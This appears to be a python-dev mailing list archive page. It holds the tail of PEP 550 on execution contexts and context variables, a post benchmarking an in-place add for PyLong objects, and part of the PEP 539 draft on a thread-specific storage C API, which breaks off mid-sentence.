runs ``func(*args, **kwargs)`` with *ec* as the execution context. The function performs the following steps: 1. Set *ec* as the current execution context stack in the current thread. 2. Push an empty logical context onto the stack. 3. Run ``func(*args, **kwargs)``. 4. Pop the logical context from the stack. 5. Restore the original execution context stack. 6. Return or raise the ``func()`` result. These steps ensure that *ec* cannot be modified by *func*, which makes ``run_with_execution_context()`` idempotent. ``asyncio.Task`` is modified as follows:: class Task: def __init__(self, coro): ... # Get the current execution context snapshot. self._exec_context = sys.get_execution_context() self._loop.call_soon( self._step, execution_context=self._exec_context) def _step(self, exc=None): ... self._loop.call_soon( self._step, execution_context=self._exec_context) ... Generators Transformed into Iterators ------------------------------------- Any Python generator can be represented as an equivalent iterator. Compilers like Cython rely on this axiom. With respect to the execution context, such iterator should behave the same way as the generator it represents. This means that there needs to be a Python API to create new logical contexts and run code with a given logical context. The ``sys.new_logical_context()`` function creates a new empty logical context. The ``sys.run_with_logical_context(lc, func, *args, **kwargs)`` function can be used to run functions in the specified logical context. The *lc* can be modified as a result of the call. The ``sys.run_with_logical_context()`` function performs the following steps: 1. Push *lc* onto the current execution context stack. 2. Run ``func(*args, **kwargs)``. 3. Pop *lc* from the execution context stack. 4. Return or raise the ``func()`` result. By using ``new_logical_context()`` and ``run_with_logical_context()``, we can replicate the generator behaviour like this:: class Generator: def __init__(self): self.logical_context = sys.new_logical_context() def __iter__(self): return self def __next__(self): return sys.run_with_logical_context( self.logical_context, self._next_impl) def _next_impl(self): # Actual __next__ implementation. ... Let's see how this pattern can be applied to a real generator:: # create a new context variable decimal_prec = sys.new_context_var('decimal_precision') def gen_series(n, precision): decimal_prec.set(precision) for i in range(1, n): yield MyDecimal(i) / MyDecimal(3) # gen_series is equivalent to the following iterator: class Series: def __init__(self, n, precision): # Create a new empty logical context on creation, # like the generators do. self.logical_context = sys.new_logical_context() # run_with_logical_context() will pushes # self.logical_context onto the execution context stack, # runs self._next_impl, and pops self.logical_context # from the stack. return sys.run_with_logical_context( self.logical_context, self._init, n, precision) def _init(self, n, precision): self.i = 1 self.n = n decimal_prec.set(precision) def __iter__(self): return self def __next__(self): return sys.run_with_logical_context( self.logical_context, self._next_impl) def _next_impl(self): decimal_prec.set(self.precision) result = MyDecimal(self.i) / MyDecimal(3) self.i += 1 return result For regular iterators such approach to logical context management is normally not necessary, and it is recommended to set and restore context variables directly in ``__next__``:: class Series: def __next__(self): old_prec = decimal_prec.lookup() try: decimal_prec.set(self.precision) ... finally: decimal_prec.set(old_prec) Asynchronous Generators ----------------------- The execution context semantics in asynchronous generators does not differ from that of regular generators and coroutines. Implementation ============== Execution context is implemented as an immutable linked list of logical contexts, where each logical context is an immutable weak key mapping. A pointer to the currently active execution context is stored in the OS thread state:: +-----------------+ | | ec | PyThreadState +-------------+ | | | +-----------------+ | | ec_node ec_node ec_node v +------+------+ +------+------+ +------+------+ | NULL | lc |<----| prev | lc |<----| prev | lc | +------+--+---+ +------+--+---+ +------+--+---+ | | | LC v LC v LC v +-------------+ +-------------+ +-------------+ | var1: obj1 | | EMPTY | | var1: obj4 | | var2: obj2 | +-------------+ +-------------+ | var3: obj3 | +-------------+ The choice of the immutable list of immutable mappings as a fundamental data structure is motivated by the need to efficiently implement ``sys.get_execution_context()``, which is to be frequently used by asynchronous tasks and callbacks. When the EC is immutable, ``get_execution_context()`` can simply copy the current execution context *by reference*:: def get_execution_context(self): return PyThreadState_Get().ec Let's review all possible context modification scenarios: * The ``ContextVariable.set()`` method is called:: def ContextVar_set(self, val): # See a more complete set() definition # in the `Context Variables` section. tstate = PyThreadState_Get() top_ec_node = tstate.ec top_lc = top_ec_node.lc new_top_lc = top_lc.set(self, val) tstate.ec = ec_node( prev=top_ec_node.prev, lc=new_top_lc) * The ``sys.run_with_logical_context()`` is called, in which case the passed logical context object is appended to the execution context:: def run_with_logical_context(lc, func, *args, **kwargs): tstate = PyThreadState_Get() old_top_ec_node = tstate.ec new_top_ec_node = ec_node(prev=old_top_ec_node, lc=lc) try: tstate.ec = new_top_ec_node return func(*args, **kwargs) finally: tstate.ec = old_top_ec_node * The ``sys.run_with_execution_context()`` is called, in which case the current execution context is set to the passed execution context with a new empty logical context appended to it:: def run_with_execution_context(ec, func, *args, **kwargs): tstate = PyThreadState_Get() old_top_ec_node = tstate.ec new_lc = sys.new_logical_context() new_top_ec_node = ec_node(prev=ec, lc=new_lc) try: tstate.ec = new_top_ec_node return func(*args, **kwargs) finally: tstate.ec = old_top_ec_node * Either ``genobj.send()``, ``genobj.throw()``, ``genobj.close()`` are called on a ``genobj`` generator, in which case the logical context recorded in ``genobj`` is pushed onto the stack:: PyGen_New(PyGenObject *gen): gen.__logical_context__ = sys.new_logical_context() gen_send(PyGenObject *gen, ...): tstate = PyThreadState_Get() if gen.__logical_context__ is not None: old_top_ec_node = tstate.ec new_top_ec_node = ec_node( prev=old_top_ec_node, lc=gen.__logical_context__) try: tstate.ec = new_top_ec_node return _gen_send_impl(gen, ...) finally: gen.__logical_context__ = tstate.ec.lc tstate.ec = old_top_ec_node else: return _gen_send_impl(gen, ...) * Coroutines and asynchronous generators share the implementation with generators, and the above changes apply to them as well. In certain scenarios the EC may need to be squashed to limit the size of the chain. For example, consider the following corner case:: async def repeat(coro, delay): await coro() await asyncio.sleep(delay) loop.create_task(repeat(coro, delay)) async def ping(): print('ping') loop = asyncio.get_event_loop() loop.create_task(repeat(ping, 1)) loop.run_forever() In the above code, the EC chain will grow as long as ``repeat()`` is called. Each new task will call ``sys.run_in_execution_context()``, which will append a new logical context to the chain. To prevent unbounded growth, ``sys.get_execution_context()`` checks if the chain is longer than a predetermined maximum, and if it is, squashes the chain into a single LC:: def get_execution_context(): tstate = PyThreadState_Get() if tstate.ec_len > EC_LEN_MAX: squashed_lc = sys.new_logical_context() ec_node = tstate.ec while ec_node: # The LC.merge() method does not replace existing keys. squashed_lc = squashed_lc.merge(ec_node.lc) ec_node = ec_node.prev return ec_node(prev=NULL, lc=squashed_lc) else: return tstate.ec Logical Context --------------- Logical context is an immutable weak key mapping which has the following properties with respect to garbage collection: * ``ContextVar`` objects are strongly-referenced only from the application code, not from any of the Execution Context machinery or values they point to. This means that there are no reference cycles that could extend their lifespan longer than necessary, or prevent their collection by the GC. * Values put in the Execution Context are guaranteed to be kept alive while there is a ``ContextVar`` key referencing them in the thread. * If a ``ContextVar`` is garbage collected, all of its values will be removed from all contexts, allowing them to be GCed if needed. * If a thread has ended its execution, its thread state will be cleaned up along with its ``ExecutionContext``, cleaning up all values bound to all context variables in the thread. As discussed earluier, we need ``sys.get_execution_context()`` to be consistently fast regardless of the size of the execution context, so logical context is necessarily an immutable mapping. Choosing ``dict`` for the underlying implementation is suboptimal, because ``LC.set()`` will cause ``dict.copy()``, which is an O(N) operation, where *N* is the number of items in the LC. ``get_execution_context()``, when squashing the EC, is a O(M) operation, where *M* is the total number of context variable values in the EC. So, instead of ``dict``, we choose Hash Array Mapped Trie (HAMT) as the underlying implementation of logical contexts. (Scala and Clojure use HAMT to implement high performance immutable collections [5]_, [6]_.) With HAMT ``.set()`` becomes an O(log N) operation, and ``get_execution_context()`` squashing is more efficient on average due to structural sharing in HAMT. See `Appendix: HAMT Performance Analysis`_ for a more elaborate analysis of HAMT performance compared to ``dict``. Context Variables ----------------- The ``ContextVar.lookup()`` and ``ContextVar.set()`` methods are implemented as follows (in pseudo-code):: class ContextVar: def get(self): tstate = PyThreadState_Get() ec_node = tstate.ec while ec_node: if self in ec_node.lc: return ec_node.lc[self] ec_node = ec_node.prev return None def set(self, value): tstate = PyThreadState_Get() top_ec_node = tstate.ec if top_ec_node is not None: top_lc = top_ec_node.lc new_top_lc = top_lc.set(self, value) tstate.ec = ec_node( prev=top_ec_node.prev, lc=new_top_lc) else: top_lc = sys.new_logical_context() new_top_lc = top_lc.set(self, value) tstate.ec = ec_node( prev=NULL, lc=new_top_lc) For efficient access in performance-sensitive code paths, such as in ``numpy`` and ``decimal``, we add a cache to ``ContextVar.get()``, making it an O(1) operation when the cache is hit. The cache key is composed from the following: * The new ``uint64_t PyThreadState->unique_id``, which is a globally unique thread state identifier. It is computed from the new ``uint64_t PyInterpreterState->ts_counter``, which is incremented whenever a new thread state is created. * The ``uint64_t ContextVar->version`` counter, which is incremented whenever the context variable value is changed in any logical context in any thread. The cache is then implemented as follows:: class ContextVar: def set(self, value): ... # implementation self.version += 1 def get(self): tstate = PyThreadState_Get() if (self.last_tstate_id == tstate.unique_id and self.last_version == self.version): return self.last_value value = self._get_uncached() self.last_value = value # borrowed ref self.last_tstate_id = tstate.unique_id self.last_version = self.version return value Note that ``last_value`` is a borrowed reference. The assumption is that if the version checks are fine, the object will be alive. This allows the values of context variables to be properly garbage collected. This generic caching approach is similar to what the current C implementation of ``decimal`` does to cache the the current decimal context, and has similar performance characteristics. Performance Considerations ========================== Tests of the reference implementation based on the prior revisions of this PEP have shown 1-2% slowdown on generator microbenchmarks and no noticeable difference in macrobenchmarks. The performance of non-generator and non-async code is not affected by this PEP. Summary of the New APIs ======================= Python ------ The following new Python APIs are introduced by this PEP: 1. The ``sys.new_context_var(name: str='...')`` function to create ``ContextVar`` objects. 2. The ``ContextVar`` object, which has: * the read-only ``.name`` attribute, * the ``.lookup()`` method which returns the value of the variable in the current execution context; * the ``.set()`` method which sets the value of the variable in the current execution context. 3. The ``sys.get_execution_context()`` function, which returns a copy of the current execution context. 4. The ``sys.new_execution_context()`` function, which returns a new empty execution context. 5. The ``sys.new_logical_context()`` function, which returns a new empty logical context. 6. The ``sys.run_with_execution_context(ec: ExecutionContext, func, *args, **kwargs)`` function, which runs *func* with the provided execution context. 7. The ``sys.run_with_logical_context(lc:LogicalContext, func, *args, **kwargs)`` function, which runs *func* with the provided logical context on top of the current execution context. C API ----- 1. ``PyContextVar * PyContext_NewVar(char *desc)``: create a ``PyContextVar`` object. 2. ``PyObject * PyContext_LookupVar(PyContextVar *)``: return the value of the variable in the current execution context. 3. ``int PyContext_SetVar(PyContextVar *, PyObject *)``: set the value of the variable in the current execution context. 4. ``PyLogicalContext * PyLogicalContext_New()``: create a new empty ``PyLogicalContext``. 5. ``PyLogicalContext * PyExecutionContext_New()``: create a new empty ``PyExecutionContext``. 6. ``PyExecutionContext * PyExecutionContext_Get()``: return the current execution context. 7. ``int PyExecutionContext_Set(PyExecutionContext *)``: set the passed EC object as the current for the active thread state. 8. ``int PyExecutionContext_SetWithLogicalContext(PyExecutionContext *, PyLogicalContext *)``: allows to implement ``sys.run_with_logical_context`` Python API. Design Considerations ===================== Should ``PyThreadState_GetDict()`` use the execution context? ------------------------------------------------------------- No. ``PyThreadState_GetDict`` is based on TLS, and changing its semantics will break backwards compatibility. PEP 521 ------- :pep:`521` proposes an alternative solution to the problem, which extends the context manager protocol with two new methods: ``__suspend__()`` and ``__resume__()``. Similarly, the asynchronous context manager protocol is also extended with ``__asuspend__()`` and ``__aresume__()``. This allows implementing context managers that manage non-local state, which behave correctly in generators and coroutines. For example, consider the following context manager, which uses execution state:: class Context: def __init__(self): self.var = new_context_var('var') def __enter__(self): self.old_x = self.var.lookup() self.var.set('something') def __exit__(self, *err): self.var.set(self.old_x) An equivalent implementation with PEP 521:: local = threading.local() class Context: def __enter__(self): self.old_x = getattr(local, 'x', None) local.x = 'something' def __suspend__(self): local.x = self.old_x def __resume__(self): local.x = 'something' def __exit__(self, *err): local.x = self.old_x The downside of this approach is the addition of significant new complexity to the context manager protocol and the interpreter implementation. This approach is also likely to negatively impact the performance of generators and coroutines. Additionally, the solution in :pep:`521` is limited to context managers, and does not provide any mechanism to propagate state in asynchronous tasks and callbacks. Can Execution Context be implemented outside of CPython? -------------------------------------------------------- No. Proper generator behaviour with respect to the execution context requires changes to the interpreter. Should we update sys.displayhook and other APIs to use EC? ---------------------------------------------------------- APIs like redirecting stdout by overwriting ``sys.stdout``, or specifying new exception display hooks by overwriting the ``sys.displayhook`` function are affecting the whole Python process **by design**. Their users assume that the effect of changing them will be visible across OS threads. Therefore we cannot just make these APIs to use the new Execution Context. That said we think it is possible to design new APIs that will be context aware, but that is outside of the scope of this PEP. Greenlets --------- Greenlet is an alternative implementation of cooperative scheduling for Python. Although greenlet package is not part of CPython, popular frameworks like gevent rely on it, and it is important that greenlet can be modified to support execution contexts. Conceptually, the behaviour of greenlets is very similar to that of generators, which means that similar changes around greenlet entry and exit can be done to add support for execution context. Backwards Compatibility ======================= This proposal preserves 100% backwards compatibility. Appendix: HAMT Performance Analysis =================================== .. figure:: pep-0550-hamt_vs_dict-v2.png :align: center :width: 100% Figure 1. Benchmark code can be found here: [9]_. The above chart demonstrates that: * HAMT displays near O(1) performance for all benchmarked dictionary sizes. * ``dict.copy()`` becomes very slow around 100 items. .. figure:: pep-0550-lookup_hamt.png :align: center :width: 100% Figure 2. Benchmark code can be found here: [10]_. Figure 2 compares the lookup costs of ``dict`` versus a HAMT-based immutable mapping. HAMT lookup time is 30-40% slower than Python dict lookups on average, which is a very good result, considering that the latter is very well optimized. Thre is research [8]_ showing that there are further possible improvements to the performance of HAMT. The reference implementation of HAMT for CPython can be found here: [7]_. Acknowledgments =============== Thanks to Victor Petrovykh for countless discussions around the topic and PEP proofreading and edits. Thanks to Nathaniel Smith for proposing the ``ContextVar`` design [17]_ [18]_, for pushing the PEP towards a more complete design, and coming up with the idea of having a stack of contexts in the thread state. Thanks to Nick Coghlan for numerous suggestions and ideas on the mailing list, and for coming up with a case that cause the complete rewrite of the initial PEP version [19]_. Version History =============== 1. Initial revision, posted on 11-Aug-2017 [20]_. 2. V2 posted on 15-Aug-2017 [21]_. The fundamental limitation that caused a complete redesign of the first version was that it was not possible to implement an iterator that would interact with the EC in the same way as generators (see [19]_.) Version 2 was a complete rewrite, introducing new terminology (Local Context, Execution Context, Context Item) and new APIs. 3. V3 posted on 18-Aug-2017 [22]_. Updates: * Local Context was renamed to Logical Context. The term "local" was ambiguous and conflicted with local name scopes. * Context Item was renamed to Context Key, see the thread with Nick Coghlan, Stefan Krah, and Yury Selivanov [23]_ for details. * Context Item get cache design was adjusted, per Nathaniel Smith's idea in [25]_. * Coroutines are created without a Logical Context; ceval loop no longer needs to special case the ``await`` expression (proposed by Nick Coghlan in [24]_.) 4. V4 posted on 25-Aug-2017: the current version. * The specification section has been completely rewritten. * Context Key renamed to Context Var. * Removed the distinction between generators and coroutines with respect to logical context isolation. References ========== .. [1] https://blog.golang.org/context .. [2] https://msdn.microsoft.com/en-us/library/system.threading.executioncontext.… .. [3] https://github.com/numpy/numpy/issues/9444 .. [4] http://bugs.python.org/issue31179 .. [5] https://en.wikipedia.org/wiki/Hash_array_mapped_trie .. [6] http://blog.higher-order.net/2010/08/16/assoc-and-clojures-persistenthashma… .. [7] https://github.com/1st1/cpython/tree/hamt .. [8] https://michael.steindorfer.name/publications/oopsla15.pdf .. [9] https://gist.github.com/1st1/9004813d5576c96529527d44c5457dcd .. [10] https://gist.github.com/1st1/dbe27f2e14c30cce6f0b5fddfc8c437e .. [11] https://github.com/1st1/cpython/tree/pep550 .. [12] https://www.python.org/dev/peps/pep-0492/#async-await .. [13] https://github.com/MagicStack/uvloop/blob/master/examples/bench/echoserver.… .. [14] https://github.com/MagicStack/pgbench .. [15] https://github.com/python/performance .. [16] https://gist.github.com/1st1/6b7a614643f91ead3edf37c4451a6b4c .. [17] https://mail.python.org/pipermail/python-ideas/2017-August/046752.html .. [18] https://mail.python.org/pipermail/python-ideas/2017-August/046772.html .. [19] https://mail.python.org/pipermail/python-ideas/2017-August/046775.html .. [20] https://github.com/python/peps/blob/e8a06c9a790f39451d9e99e203b13b3ad73a1d0… .. [21] https://github.com/python/peps/blob/e3aa3b2b4e4e9967d28a10827eed1e9e5960c17… .. [22] https://github.com/python/peps/blob/287ed87bb475a7da657f950b353c71c1248f67e… .. [23] https://mail.python.org/pipermail/python-ideas/2017-August/046801.html .. [24] https://mail.python.org/pipermail/python-ideas/2017-August/046790.html .. [25] https://mail.python.org/pipermail/python-ideas/2017-August/046786.html Copyright ========= This document has been placed in the public domain.

19 129

Inplace operations for PyLong objects
by Manciu, Catalin Gabriel Sept. 2, 2017

Sept. 2, 2017

Hi everyone, While looking over the PyLong source code in Objects/longobject.c I came across the fact that the PyLong object doesnt't include implementation for basic inplace operations such as adding or multiplication: [...] long_long, /*nb_int*/ 0, /*nb_reserved*/ long_float, /*nb_float*/ 0, /* nb_inplace_add */ 0, /* nb_inplace_subtract */ 0, /* nb_inplace_multiply */ 0, /* nb_inplace_remainder */ [...] While I understand that the immutable nature of this type of object justifies this approach, I wanted to experiment and see how much performance an inplace add would bring. My inplace add will revert to calling the default long_add function when: - the refcount of the first operand indicates that it's being shared or - that operand is one of the preallocated 'small ints' which should mitigate the effects of not conforming to the PyLong immutability specification. It also allocates a new PyLong _only_ in case of a potential overflow. The workload I used to evaluate this is a simple script that does a lot of inplace adding: import time import sys def write_progress(prev_percentage, value, limit): percentage = (100 * value) // limit if percentage != prev_percentage: sys.stdout.write("%d%%\r" % (percentage)) sys.stdout.flush() return percentage progress = -1 the_value = 0 the_increment = ((1 << 30) - 1) crt_iter = 0 total_iters = 10 ** 9 start = time.time() while crt_iter < total_iters: the_value += the_increment crt_iter += 1 progress = write_progress(progress, crt_iter, total_iters) end = time.time() print ("\n%.3fs" % (end - start)) print ("the_value: %d" % (the_value)) Running the baseline version outputs: ./python inplace.py 100% 356.633s the_value: 1073741823000000000 Running the modified version outputs: ./python inplace.py 100% 308.606s the_value: 1073741823000000000 In summary, I got a +13.47% improvement for the modified version. The CPython revision I'm using is 7f066844a79ea201a28b9555baf4bceded90484f from the master branch and I'm running on a I7 6700K CPU with Turbo-Boost disabled (frequency is pinned at 4GHz). Do you think that such an optimization would be a good approach ? Thank you, Catalin

8 13

PEP 539 (second round): A new C API for Thread-Local Storage in CPython
by Masayuki YAMAMOTO Sept. 1, 2017

Sept. 1, 2017

Hi python-dev, Since Erik started the PEP 539 thread on python-ideas, I've collected feedbacks in the discussion and pull-request, and tried improvement for the API specification and reference implementation, as the result I think resolved issues which pointed out by feedbacks. Well, it's probably not finish yet, there is one which bothers me. I'm not sure the CPython startup sequence design (PEP 432 Restructuring the CPython startup sequence, it might be a conflict with the draft specification [1]), please let me know what you think about the new API specification. In any case, I start a new thread of the updated draft. Summary of technical changes: - Two functions which correspond PyThread_delete_key_value and PyThread_ReInitTLS are omitted, because these are for the removed CPython's own TLS implementation. - Add an internal field "_is_initialized" and a constant default value "Py_tss_NEEDS_INIT" to Py_tss_t type to indicate the thread key's initialization state independent of the underlying implementation. - Then, define behaviors for functions which uses the "_is_initialized" field. - Change the key argument to pass a pointer, allow to use in the limited API that does not know the key type size. - Add three functions which dynamic (de-)allocation and the key's initialization state checking, because handle opaque struct. - Change platform support in the case of enabling thread support, all platforms are required at least one of native thread implementations. Also the draft has been added explanations and rationales for above changes, moreover, additional annotations for information. Regards, Masayuki [1]: The specifications of thread key creation and deletion refer how to use in the API clients (Modules/_tracemalloc.c and Python/pystate.c). One of those, Py_Initialize function that is a caller's origin of PyThread_tss_create is the flow "no-op when called for a second time" until CPython 3.6 [2]. However, an internal function _Py_InitializeCore that has been added newly in the current master branch is the flow "fatal error when called for a second time" [3]. [2]: https://docs.python.org/3.6/c-api/init.html#c.Py_Initialize [3]: https://github.com/python/cpython/blob/master/Python/pylifecycle.c#L508 First round for PEP 539: https://mail.python.org/pipermail/python-ideas/2016-December/043983.html Discussion for the issue: https://bugs.python.org/issue25658 HTML version for PEP 539 draft: https://www.python.org/dev/peps/pep-0539/ Diff between first round and second round: https://gist.github.com/ma8ma/624f9e4435ebdb26230130b11ce12d20/revisions And the pull-request for reference implementation (work in progress): https://github.com/python/cpython/pull/1362 ======================================== PEP: 539 Title: A New C-API for Thread-Local Storage in CPython Version: $Revision$ Last-Modified: $Date$ Author: Erik M. Bray, Masayuki Yamamoto BDFL-Delegate: Nick Coghlan Status: Draft Type: Informational Content-Type: text/x-rst Created: 20-Dec-2016 Post-History: 16-Dec-2016 Abstract ======== The proposal is to add a new Thread Local Storage (TLS) API to CPython which would supersede use of the existing TLS API within the CPython interpreter, while deprecating the existing API. The new API is named "Thread Specific Storage (TSS) API" (see `Rationale for Proposed Solution`_ for the origin of the name). Because the existing TLS API is only used internally (it is not mentioned in the documentation, and the header that defines it, ``pythread.h``, is not included in ``Python.h`` either directly or indirectly), this proposal probably only affects CPython, but might also affect other interpreter implementations (PyPy?) that implement parts of the CPython API. This is motivated primarily by the fact that the old API uses ``int`` to represent TLS keys across all platforms, which is neither POSIX-compliant, nor portable in any practical sense [1]_. .. note:: Throughout this document the acronym "TLS" refers to Thread Local Storage and should not be confused with "Transportation Layer Security" protocols. Specification ============= The current API for TLS used inside the CPython interpreter consists of 6 functions:: PyAPI_FUNC(int) PyThread_create_key(void) PyAPI_FUNC(void) PyThread_delete_key(int key) PyAPI_FUNC(int) PyThread_set_key_value(int key, void *value) PyAPI_FUNC(void *) PyThread_get_key_value(int key) PyAPI_FUNC(void) PyThread_delete_key_value(int key) PyAPI_FUNC(void) PyThread_ReInitTLS(void) These would be superseded by a new set of analogous functions:: PyAPI_FUNC(int) PyThread_tss_create(Py_tss_t *key) PyAPI_FUNC(void) PyThread_tss_delete(Py_tss_t *key) PyAPI_FUNC(int) PyThread_tss_set(Py_tss_t *key, void *value) PyAPI_FUNC(void *) PyThread_tss_get(Py_tss_t *key) The specification also adds a few new features: * A new type ``Py_tss_t``--an opaque type the definition of which may depend on the underlying TLS implementation. It is defined:: typedef struct { bool _is_initialized; NATIVE_TSS_KEY_T _key; } Py_tss_t; where ``NATIVE_TSS_KEY_T`` is a macro whose value depends on the underlying native TLS implementation (e.g. ``pthread_key_t``). * A constant default value for ``Py_tss_t`` variables, ``Py_tss_NEEDS_INIT``. * Three new functions:: PyAPI_FUNC(Py_tss_t *) PyThread_tss_alloc(void) PyAPI_FUNC(void) PyThread_tss_free(Py_tss_t *key) PyAPI_FUNC(bool) PyThread_tss_is_created(Py_tss_t *key) The first two are needed for dynamic (de-)allocation of a ``Py_tss_t``, particularly in extension modules built with ``Py_LIMITED_API``, where static allocation of this type is not possible due to its implementation being opaque at build time. A value returned by ``PyThread_tss_alloc`` is the same state as initialized by ``Py_tss_NEEDS_INIT``, or ``NULL`` for dynamic allocation failure. The behavior of ``PyThread_tss_free`` involves calling ``PyThread_tss_delete`` preventively, or is no-op if the value pointed to by the ``key`` argument is ``NULL``. ``PyThread_tss_is_created`` returns ``true`` if the given ``Py_tss_t`` has been initialized (i.e. by ``PyThread_tss_create``). The new TSS API does not provide functions which correspond to ``PyThread_delete_key_value`` and ``PyThread_ReInitTLS``, because these functions are for the removed CPython's own TLS implementation, that is the existing API behavior has become as follows: ``PyThread_delete_key_value(key)`` is equal to ``PyThread_set_key_value(key, NULL)``, and ``PyThread_ReInitTLS()`` is no-op [8]_. The new ``PyThread_tss_`` functions are almost exactly analogous to their original counterparts with a few minor differences: Whereas ``PyThread_create_key`` takes no arguments and returns a TLS key as an ``int``, ``PyThread_tss_create`` takes a ``Py_tss_t*`` as an argument and returns an ``int`` status code. The behavior of ``PyThread_tss_create`` is undefined if the value pointed to by the ``key`` argument is not initialized by ``Py_tss_NEEDS_INIT``. The returned status code is zero on success and non-zero on failure. The meanings of non-zero status codes are not otherwise defined by this specification. Similarly the other ``PyThread_tss_`` functions are passed a ``Py_tss_t*`` whereas previously the key was passed by value. This change is necessary, as being an opaque type, the ``Py_tss_t`` type could hypothetically be almost any size. This is especially necessary for extension modules built with ``Py_LIMITED_API``, where the size of the type is not known. Except for ``PyThread_tss_free``, the behaviors of ``PyThread_tss_`` are undefined if the value pointed to by the ``key`` argument is ``NULL``. Moreover, because of the use of ``Py_tss_t`` instead of ``int``, there are additional behaviors which the existing API design would be carried over into new API: The TSS key creation and deletion are parts of "do-if-needed" flow and these features are silently skipped if already done--Calling ``PyThread_tss_create`` with an initialized key does nothing and returns success soon. This is also the case of calling ``PyThread_tss_delete`` with an uninitialized key. The behavior of ``PyThread_tss_delete`` is defined to change the key's initialization state to "uninitialized" in order to restart the CPython interpreter without terminating the process (e.g. embedding Python in an application) [12]_. The old ``PyThread_*_key*`` functions will be marked as deprecated in the documentation, but will not generate runtime deprecation warnings. Additionally, on platforms where ``sizeof(pthread_key_t) != sizeof(int)``, ``PyThread_create_key`` will return immediately with a failure status, and the other TLS functions will all be no-ops on such platforms. Comparison of API Specification ------------------------------- ================= ============================= ============================= API Thread Local Storage (TLS) Thread Specific Storage (TSS) ================= ============================= ============================= Version Existing New Key Type ``int`` ``Py_tss_t`` (opaque type) Handle Native Key cast to ``int`` conceal into internal field Function Argument ``int`` ``Py_tss_t *`` Features - create key - create key - delete key - delete key - set value - set value - get value - get value - delete value - (set ``NULL`` instead) [8]_ - reinitialize keys (for - (unnecessary) [8]_ after fork) - dynamically (de-)allocate key - check key's initialization state Default Value (``-1`` as key creation ``Py_tss_NEEDS_INIT`` failure) Requirement native thread native thread (since CPython 3.7 [9]_) Restriction Not support platform where Unable to statically allocate native TLS key is defined in key when ``Py_LIMITED_API`` a way that cannot be safely is defined. cast to ``int``. ================= ============================= ============================= Example ------- With the proposed changes, a TSS key is initialized like:: static Py_tss_t tss_key = Py_tss_NEEDS_INIT; if (PyThread_tss_create(&tss_key)) { /* ... handle key creation failure ... */ } The initialization state of the key can then be checked like:: assert(PyThread_tss_is_created(&tss_key)); The rest of the API is used analogously to the old API:: int the_value = 1; if (PyThread_tss_get(&tss_key) == NULL) { PyThread_tss_set(&tss_key, (void *)&the_value); assert(PyThread_tss_get(&tss_key) != NULL); } /* ... once done with the key ... */ PyThread_tss_delete(&tss_key); assert(!PyThread_tss_is_created(&tss_key)); When ``Py_LIMITED_API`` is defined, a TSS key must be dynamically allocated:: static Py_tss_t *ptr_key = PyThread_tss_alloc(); if (ptr_key == NULL) { /* ... handle key allocation failure ... */ } assert(!PyThread_tss_is_created(ptr_key)); /* ... once done with the key ... */ PyThread_tss_free(ptr_key); ptr_key = NULL; Platform Support Changes ======================== A new "Native Thread Implementation" section will be added to PEP 11 that states: * As of CPython 3.7, in the case of enabling thread support, all platforms are required to provide at least one of native thread implementation (as of pthreads or Windows) to implement TSS API. Any TSS API problems that occur in the implementation without native thread will be closed as "won't fix". Motivation ========== The primary problem at issue here is the type of the keys (``int``) used for TLS values, as defined by the original PyThread TLS API. The original TLS API was added to Python by GvR back in 1997, and at the time the key used to represent a TLS value was an ``int``, and so it has been to the time of writing. This used CPython's own TLS implementation, but the current generation of which hasn't been used, largely unchanged, in Python/thread.c. Support for implementation of the API on top of native thread implementations (pthreads and Windows) was added much later, and the own implementation has been no longer necessary and removed [9]_. The problem with the choice of ``int`` to represent a TLS key, is that while it was fine for CPython's own TLS implementation, and happens to be compatible with Windows (which uses ``DWORD`` for the analogous data), it is not compatible with the POSIX standard for the pthreads API, which defines ``pthread_key_t`` as an opaque type not further defined by the standard (as with ``Py_tss_t`` described above) [14]_. This leaves it up to the underlying implementation how a ``pthread_key_t`` value is used to look up thread-specific data. This has not generally been a problem for Python's API, as it just happens that on Linux ``pthread_key_t`` is defined as an ``unsigned int``, and so is fully compatible with Python's TLS API--``pthread_key_t``'s created by ``pthread_create_key`` can be freely cast to ``int`` and back (well, not exactly, even this has some limitations as pointed out by issue #22206). However, as issue #25658 points out, there are at least some platforms (namely Cygwin, CloudABI, but likely others as well) which have otherwise modern and POSIX-compliant pthreads implementations, but are not compatible with Python's API because their ``pthread_key_t`` is defined in a way that cannot be safely cast to ``int``. In fact, the possibility of running into this problem was raised by MvL at the time pthreads TLS was added [2]_. It could be argued that PEP-11 makes specific requirements for supporting a new, not otherwise officially-support platform (such as CloudABI), and that the status of Cygwin support is currently dubious. However, this creates a very high barrier to supporting platforms that are otherwise Linux- and/or POSIX-compatible and where CPython might otherwise "just work" except for this one hurdle. CPython itself imposes this implementation barrier by way of an API that is not compatible with POSIX (and in fact makes invalid assumptions about pthreads). Rationale for Proposed Solution =============================== The use of an opaque type (``Py_tss_t``) to key TLS values allows the API to be compatible, with all present (POSIX and Windows) and future (C11?) native TLS implementations supported by CPython, as it allows the definition of ``Py_tss_t`` to depend on the underlying implementation. Since the existing TLS API has been available in *the limited API* [13]_ for some platforms (e.g. Linux), CPython makes an effort to provide the new TSS API at that level likewise. Note, however, that ``Py_tss_t`` definition becomes to be an opaque struct when ``Py_LIMITED_API`` is defined, because exposing ``NATIVE_TSS_KEY_T`` as part of the limited API would prevent us from switching native thread implementation without rebuilding extension module. A new API must be introduced, rather than changing the function signatures of the current API, in order to maintain backwards compatibility. The new API also more clearly groups together these related functions under a single name prefix, ``PyThread_tss_``. The "tss" in the name stands for "thread-specific storage", and was influenced by the naming and design of the "tss" API that is part of the C11 threads API [15]_. However, this is in no way meant to imply compatibility with or support for the C11 threads API, or signal any future intention of supporting C11--it's just the influence for the naming and design. The inclusion of the special default value ``Py_tss_NEEDS_INIT`` is required by the fact that not all native TLS implementations define a sentinel value for uninitialized TLS keys. For example, on Windows a TLS key is represented by a ``DWORD`` (``unsigned int``) and its value must be treated as opaque [3]_. So there is no unsigned integer value that can be safely used to represent an uninitialized TLS key on Windows. Likewise, POSIX does not specify a sentinel for an uninitialized ``pthread_key_t``, instead relying on the ``pthread_once`` interface to ensure that a given TLS key is initialized only once per-process. Therefore, the ``Py_tss_t`` type contains an explicit ``._is_initialized`` that can indicate the key's initialization state independent of the underlying implementation. Changing ``PyThread_create_key`` to immediately return a failure status on systems using pthreads where ``sizeof(int) != sizeof(pthread_key_t)`` is intended as a sanity check: Currently, ``PyThread_create_key`` may report initial success on such systems, but attempts to use the returned key are likely to fail. Although in practice this failure occurs earlier in the interpreter initialization, it's better to fail immediately at the source of problem (``PyThread_create_key``) rather than sometime later when use of an 